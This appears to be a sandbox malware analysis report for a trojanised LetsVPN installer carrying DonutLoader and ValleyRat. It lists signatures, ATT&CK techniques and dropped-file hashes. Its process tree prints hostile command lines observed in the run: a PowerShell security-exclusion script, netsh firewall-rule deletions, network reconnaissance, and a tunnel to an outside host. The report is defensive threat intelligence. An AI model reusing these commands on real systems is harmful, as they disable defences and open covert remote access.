Overview

overview

10

Static

static

5

2026-04-18...ry.exe

windows10-2004-x64

10

2026-04-18...ry.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/04/2026, 04:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe
  • Size 36.3MB
  • Sample260418-ewcpragt91
  • SHA256 19fe744400b13ef08de1ebfb286999479e7a3401dde7e5f9bba77e44e2dffc5a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoordefense_evasiondiscoveryexecutiondonutloadervalleyrat_s2installerloaderpersistenceprivilege_escalationspywaretrojan

Malware Config

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

    loaderdonutloader
  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

    backdoorvalleyrat_s2
  • Detects DonutLoader 1 IoCs
    loader
  • Drops file in Drivers directory 3 IoCs
  • Modifies Windows Firewall 2 TTPs 5 IoCs
    defense_evasion
  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 64 IoCs
  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Service Discovery 1 TTPs 2 IoCs

    Attempt to gather information on host's network.

    discovery
  • Drops file in System32 directory 16 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 14 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

    installer
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 31 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\SysWOW64\cscript.exe
      cscript.exe /nologo "C:\Users\Admin\AppData\Roaming\LetsVPN\adddf.vbe" C:\
      2⤵
      • System Location Discovery: System Language Discovery
      PID:536
    • C:\Users\Admin\AppData\Local\Temp\gentee62\letsvpn-3.16.9.exe
      "C:\Users\Admin\AppData\Local\Temp\gentee62\letsvpn-3.16.9.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2052
      • C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
        "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
        3⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        PID:4288
      • C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
        "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        PID:5024
      • C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
        "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
        3⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        PID:3776
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c netsh advfirewall firewall Delete rule name=lets
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4856
        • C:\Windows\SysWOW64\netsh.exe
          netsh advfirewall firewall Delete rule name=lets
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:4396
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c netsh advfirewall firewall Delete rule name=lets.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:824
        • C:\Windows\SysWOW64\netsh.exe
          netsh advfirewall firewall Delete rule name=lets.exe
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:4600
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3744
        • C:\Windows\SysWOW64\netsh.exe
          netsh advfirewall firewall Delete rule name=LetsPRO.exe
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:876
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3940
        • C:\Windows\SysWOW64\netsh.exe
          netsh advfirewall firewall Delete rule name=LetsPRO
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:4276
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c netsh advfirewall firewall Delete rule name=LetsVPN
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2152
        • C:\Windows\SysWOW64\netsh.exe
          netsh advfirewall firewall Delete rule name=LetsVPN
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:312
      • C:\Program Files (x86)\letsvpn\LetsPRO.exe
        "C:\Program Files (x86)\letsvpn\LetsPRO.exe" checkNetFramework
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4224
        • C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe
          "C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe" checkNetFramework
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4236
      • C:\Program Files (x86)\letsvpn\LetsPRO.exe
        "C:\Program Files (x86)\letsvpn\LetsPRO.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4956
        • C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe
          "C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Unexpected DNS network traffic destination
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2444
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C ipconfig /all
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5056
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              6⤵
              • System Location Discovery: System Language Discovery
              • Gathers network information
              PID:4236
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C route print
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4344
            • C:\Windows\SysWOW64\ROUTE.EXE
              route print
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3280
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C arp -a
            5⤵
            • Network Service Discovery
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:764
            • C:\Windows\SysWOW64\ARP.EXE
              arp -a
              6⤵
              • Network Service Discovery
              • System Location Discovery: System Language Discovery
              PID:4132
    • C:\Users\Admin\AppData\Local\Temp\gentee62\cloudflared_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\gentee62\cloudflared_installer.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Users\Admin\AppData\Local\Temp\is-SRJE1.tmp\cloudflared_installer.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-SRJE1.tmp\cloudflared_installer.tmp" /SL5="$60268,20828596,926208,C:\Users\Admin\AppData\Local\Temp\gentee62\cloudflared_installer.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4732
        • C:\Windows\SysWOW64\msiexec.exe
          "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\is-L0PC7.tmp\cf.msi" /qn /norestart
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4424
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
    1⤵
    • Drops file in Windows directory
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4928
    • C:\Windows\system32\DrvInst.exe
      DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{627c46f6-7dbc-7b41-ae87-1cec4dda31a1}\oemvista.inf" "9" "4d14a44ff" "0000000000000138" "WinSta0\Default" "0000000000000150" "208" "c:\program files (x86)\letsvpn\driver"
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Modifies data under HKEY_USERS
      PID:2604
    • C:\Windows\system32\DrvInst.exe
      DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem3.inf" "oem3.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000138"
      2⤵
      • Drops file in Drivers directory
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:4920
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1048
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
    1⤵
    • Modifies data under HKEY_USERS
    PID:2832
  • C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe
    "C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe" /silent
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:3048
  • C:\ProgramData\Microsoft\System\System.exe
    "C:\ProgramData\Microsoft\System\System.exe" access tcp --hostname www.cfqaz.cyou --url tcp://127.0.0.1:443
    1⤵
    • Executes dropped EXE
    • Modifies trusted root certificate store through registry
    • Modifies data under HKEY_USERS
    • Modifies system certificate store
    PID:5020
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\ProgramData\CfServerSoftwareDistribution\Guard.dll,GdAewn
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3524
    • C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\ProgramData\CfServerSoftwareDistribution\Guard.dll,GdAewn
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3324
  • C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
    C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:872
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /tn WinSafe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2780
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe
    1⤵
      PID:536
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
      1⤵
        PID:636

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            2
            T1059

            PowerShell

            1
            T1059.001

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Netsh Helper DLL

            1
            T1546.007

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Netsh Helper DLL

            1
            T1546.007

            Defense Evasion

            Impair Defenses

            1
            T1562

            Disable or Modify System Firewall

            1
            T1562.004

            Modify Registry

            2
            T1112

            Subvert Trust Controls

            2
            T1553

            Install Root Certificate

            2
            T1553.004

            Credential Access

            Discovery

            Network Service Discovery

            1
            T1046

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            4
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e58eb77.rbs
            • Path C:\Config.Msi\e58eb77.rbs
            • Size 7KB
            • SHA256 2baec879284caf5af7d7ad68cf81ffbf400af19f3f9cce5d4bfb95e623002035
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            AddWindowsSecurityExclusion.ps1
            • Path C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1
            • Size 318B
            • SHA256 a9901397d39c0fc74adfdb95dd5f95c3a14def3f9d58ef44ab45fc74a56d46df
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            LetsPRO.exe
            • Path C:\Program Files (x86)\letsvpn\LetsPRO.exe
            • Size 242KB
            • SHA256 c736680a9677dfa9f910ac117e5aeba8078d34ee79544c21e176b992bb39d960
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            CommunityToolkit.Mvvm.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\CommunityToolkit.Mvvm.dll
            • Size 110KB
            • SHA256 11b1add1db058d3760f52512e0ca911af726d7c049f25178446b6bd33d4eecd2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            LetsPRO.exe
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe
            • Size 1.6MB
            • SHA256 425ffb18167fc0c8cabf003fb034e471c7a0790485bdf3e7c0d16ded934d76e7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            LetsPRO.exe.config
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe.config
            • Size 27KB
            • SHA256 b12f59cdd3859acc91aaf58b23d560c65d3b39a8c04f4361db61231a7e39664a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            LetsVPNDomainModel.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\LetsVPNDomainModel.dll
            • Size 22KB
            • SHA256 57f5254f06b4d4bf1ab36f6d8851738ca18a8b27b99113e47f91091950f52980
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Newtonsoft.Json.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\Newtonsoft.Json.dll
            • Size 695KB
            • SHA256 e1e27af7b07eeedf5ce71a9255f0422816a6fc5849a483c6714e1b472044fa9d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            System.Memory.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.Memory.dll
            • Size 138KB
            • SHA256 bf3fb84664f4097f1a8a9bc71a51dcf8cf1a905d4080a4d290da1730866e856f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            System.Runtime.CompilerServices.Unsafe.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.Runtime.CompilerServices.Unsafe.dll
            • Size 17KB
            • SHA256 37768488e8ef45729bc7d9a2677633c6450042975bb96516e186da6cb9cd0dcf
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            System.Runtime.InteropServices.RuntimeInformation.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.Runtime.InteropServices.RuntimeInformation.dll
            • Size 27KB
            • SHA256 8bb9d52ba5c67f05c8f632deb1e7e98a909318b10e1388b47e919515fdd42cbf
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            System.ValueTuple.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.ValueTuple.dll
            • Size 77KB
            • SHA256 e4774aead2793f440e0ced6c097048423d118e0b6ed238c6fe5b456acb07817f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Utils.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\Utils.dll
            • Size 134KB
            • SHA256 05886719840e1165cbe91977a81d771ca94a36386bfd86129afa0bc889a75af3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            log4net.dll
            • Path C:\Program Files (x86)\letsvpn\app-3.16.9\log4net.dll
            • Size 264KB
            • SHA256 896ab9cac41e3977792ba2034ea8730610c2779fa51bab6bed426094ea8d3ecd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            OemVista.inf
            • Path C:\Program Files (x86)\letsvpn\driver\OemVista.inf
            • Size 7KB
            • SHA256 150ef8eb07532146f833dc020c02238161043260b8a565c3cfcb2365bad980d9
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            tapinstall.exe
            • Path C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
            • Size 99KB
            • SHA256 9f45a39015774eeaa2a6218793edc8e6273eb9f764f3aedee5cf9e9ccacdb53f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            __PSScriptPolicyTest_bod1452r.nxg.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bod1452r.nxg.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            cloudflared_installer.exe
            • Path C:\Users\Admin\AppData\Local\Temp\gentee62\cloudflared_installer.exe
            • Size 20.9MB
            • SHA256 4eb9bdff58555e42bbed3ae03448f96eb935c9d59c3c0b8d0a16d489e68894d5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            guig.dll
            • Path C:\Users\Admin\AppData\Local\Temp\gentee62\guig.dll
            • Size 20KB
            • SHA256 624f4c25504ba431f450d8ecee2e2d0a4d87b95f7fa0b72db43f057ca021c328
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            letsvpn-3.16.9.exe
            • Path C:\Users\Admin\AppData\Local\Temp\gentee62\letsvpn-3.16.9.exe
            • Size 15.8MB
            • SHA256 22944c87ac71fc5a95198fe0b4ed51f9d8ae1759d5b840ba18c9e9f26902754a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            unppmd.dll
            • Path C:\Users\Admin\AppData\Local\Temp\gentee62\unppmd.dll
            • Size 8KB
            • SHA256 d6f3429b8ffe80e1bc023de22bc23d9b4d384d89a9b22db51aa27c804581642d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            genteert.dll
            • Path C:\Users\Admin\AppData\Local\Temp\genteert.dll
            • Size 60KB
            • SHA256 54c0da1735bb1cb02b60c321de938488345f8d1d26bf389c8cb2acad5d01b831
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            System.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsv5EC6.tmp\System.dll
            • Size 12KB
            • SHA256 23d618a0293c78ce00f7c6e6dd8b8923621da7dd1f63a070163ef4c0ec3033d6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            modern-wizard.bmp
            • Path C:\Users\Admin\AppData\Local\Temp\nsv5EC6.tmp\modern-wizard.bmp
            • Size 51KB
            • SHA256 076221b4527ff13c3e1557abbbd48b0cb8e5f7d724c6b9171c6aadadb80561dd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            nsDialogs.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsv5EC6.tmp\nsDialogs.dll
            • Size 9KB
            • SHA256 89a82c4849c21dfe765052681e1fad02d2d7b13c8b5075880c52423dca72a912
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            nsExec.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsv5EC6.tmp\nsExec.dll
            • Size 7KB
            • SHA256 2cd3a2d4053954db1196e2526545c36dfc138c6de9b81f6264632f3132843c77
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            nsProcess.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsv5EC6.tmp\nsProcess.dll
            • Size 4KB
            • SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            adddf.vbe
            • Path C:\Users\Admin\AppData\Roaming\LetsVPN\adddf.vbe
            • Size 9KB
            • SHA256 8899328528e624933756a42f050f6d07a8c21be2ba1f35db9d63ed4ab09c2c59
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e58eb74.msi
            • Path C:\Windows\Installer\e58eb74.msi
            • Size 19.0MB
            • SHA256 6d2eea059b29d04bb4b68c4a1172e631df4a49c3e2a11195619533ae437c46d4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            tap0901.sys
            • Path \??\c:\PROGRA~2\letsvpn\driver\tap0901.sys
            • Size 38KB
            • SHA256 589c5667b1602837205da8ea8e92fe13f8c36048b293df931c99b39641052253
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            tap0901.cat
            • Path \??\c:\program files (x86)\letsvpn\driver\tap0901.cat
            • Size 10KB
            • SHA256 cc74cdb88c198eb00aef4caa20bf1fda9256917713a916e6b94435cd4dcb7f7b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/872-791-0x0000000000780000-0x0000000000799000-memory.dmp
            Download

            memory/872-793-0x0000000000CD0000-0x0000000000CF1000-memory.dmp
            Download

            memory/1048-806-0x000001506DF10000-0x000001506DF1C000-memory.dmp
            Download

            memory/2052-500-0x0000000006070000-0x00000000060D6000-memory.dmp
            Download

            memory/2052-534-0x00000000057F0000-0x000000000580D000-memory.dmp
            Download

            memory/2052-531-0x0000000007D50000-0x0000000007D58000-memory.dmp
            Download

            memory/2052-530-0x0000000007D70000-0x0000000007D8A000-memory.dmp
            Download

            memory/2052-529-0x0000000007C80000-0x0000000007C94000-memory.dmp
            Download

            memory/2052-528-0x0000000007C70000-0x0000000007C7E000-memory.dmp
            Download

            memory/2052-527-0x0000000007C30000-0x0000000007C41000-memory.dmp
            Download

            memory/2052-526-0x0000000007CB0000-0x0000000007D46000-memory.dmp
            Download

            memory/2052-525-0x0000000007AB0000-0x0000000007ABA000-memory.dmp
            Download

            memory/2052-524-0x0000000007820000-0x000000000783A000-memory.dmp
            Download

            memory/2052-523-0x0000000008130000-0x00000000087AA000-memory.dmp
            Download

            memory/2052-522-0x00000000076D0000-0x0000000007773000-memory.dmp
            Download

            memory/2052-521-0x0000000006CB0000-0x0000000006CCE000-memory.dmp
            Download

            memory/2052-513-0x000000006F620000-0x000000006F66C000-memory.dmp
            Download

            memory/2052-512-0x0000000006CD0000-0x0000000006D02000-memory.dmp
            Download

            memory/2052-510-0x0000000006A60000-0x0000000006AAC000-memory.dmp
            Download

            memory/2052-509-0x0000000006710000-0x000000000672E000-memory.dmp
            Download

            memory/2052-508-0x00000000060E0000-0x0000000006434000-memory.dmp
            Download

            memory/2052-499-0x0000000006000000-0x0000000006066000-memory.dmp
            Download

            memory/2052-498-0x0000000005830000-0x0000000005852000-memory.dmp
            Download

            memory/2052-497-0x0000000005860000-0x0000000005E88000-memory.dmp
            Download

            memory/2052-496-0x0000000005220000-0x0000000005230000-memory.dmp
            Download

            memory/2052-495-0x0000000005130000-0x0000000005166000-memory.dmp
            Download

            memory/2052-494-0x0000000005220000-0x0000000005230000-memory.dmp
            Download

            memory/2444-709-0x0000000005F30000-0x0000000005F3C000-memory.dmp
            Download

            memory/2444-800-0x0000000059110000-0x0000000059120000-memory.dmp
            Download

            memory/2444-889-0x000000006C1B0000-0x000000006CCE9000-memory.dmp
            Download

            memory/2444-890-0x000000006A9A0000-0x000000006B160000-memory.dmp
            Download

            memory/2444-882-0x000000006A9A0000-0x000000006B160000-memory.dmp
            Download

            memory/2444-881-0x000000006C1B0000-0x000000006CCE9000-memory.dmp
            Download

            memory/2444-874-0x000000006A9A0000-0x000000006B160000-memory.dmp
            Download

            memory/2444-873-0x000000006C1B0000-0x000000006CCE9000-memory.dmp
            Download

            memory/2444-865-0x000000006C1B0000-0x000000006CCE9000-memory.dmp
            Download

            memory/2444-866-0x000000006A9A0000-0x000000006B160000-memory.dmp
            Download

            memory/2444-859-0x000000006C1B0000-0x000000006CCE9000-memory.dmp
            Download

            memory/2444-860-0x000000006A9A0000-0x000000006B160000-memory.dmp
            Download

            memory/2444-705-0x00000000052D0000-0x0000000005624000-memory.dmp
            Download

            memory/2444-708-0x0000000005F50000-0x0000000005F72000-memory.dmp
            Download

            memory/2444-850-0x000000006C1B0000-0x000000006CCE9000-memory.dmp
            Download

            memory/2444-716-0x000000000EFF0000-0x000000000EFFE000-memory.dmp
            Download

            memory/2444-725-0x0000000058DE0000-0x0000000058E72000-memory.dmp
            Download

            memory/2444-736-0x000000005B3B0000-0x000000005B3B8000-memory.dmp
            Download

            memory/2444-737-0x000000005AD20000-0x000000005AD58000-memory.dmp
            Download

            memory/2444-738-0x000000005AD00000-0x000000005AD0E000-memory.dmp
            Download

            memory/2444-740-0x000000005C0B0000-0x000000005C132000-memory.dmp
            Download

            memory/2444-739-0x000000005C000000-0x000000005C0B0000-memory.dmp
            Download

            memory/2444-741-0x000000005C140000-0x000000005C172000-memory.dmp
            Download

            memory/2444-745-0x000000005BFC0000-0x000000005BFCA000-memory.dmp
            Download

            memory/2444-746-0x000000005BFF0000-0x000000005BFFA000-memory.dmp
            Download

            memory/2444-744-0x000000005BFD0000-0x000000005BFE6000-memory.dmp
            Download

            memory/2444-747-0x000000005C1D0000-0x000000005C1E2000-memory.dmp
            Download

            memory/2444-851-0x000000006A9A0000-0x000000006B160000-memory.dmp
            Download

            memory/2444-840-0x000000006C1B0000-0x000000006CCE9000-memory.dmp
            Download

            memory/2444-761-0x000000005CF70000-0x000000005CF8E000-memory.dmp
            Download

            memory/2444-769-0x000000005EA30000-0x000000005EFD4000-memory.dmp
            Download

            memory/2444-770-0x000000005D460000-0x000000005D4AA000-memory.dmp
            Download

            memory/2444-771-0x000000005E070000-0x000000005E0BC000-memory.dmp
            Download

            memory/2444-841-0x000000006A9A0000-0x000000006B160000-memory.dmp
            Download

            memory/2444-780-0x00000000594E0000-0x0000000059583000-memory.dmp
            Download

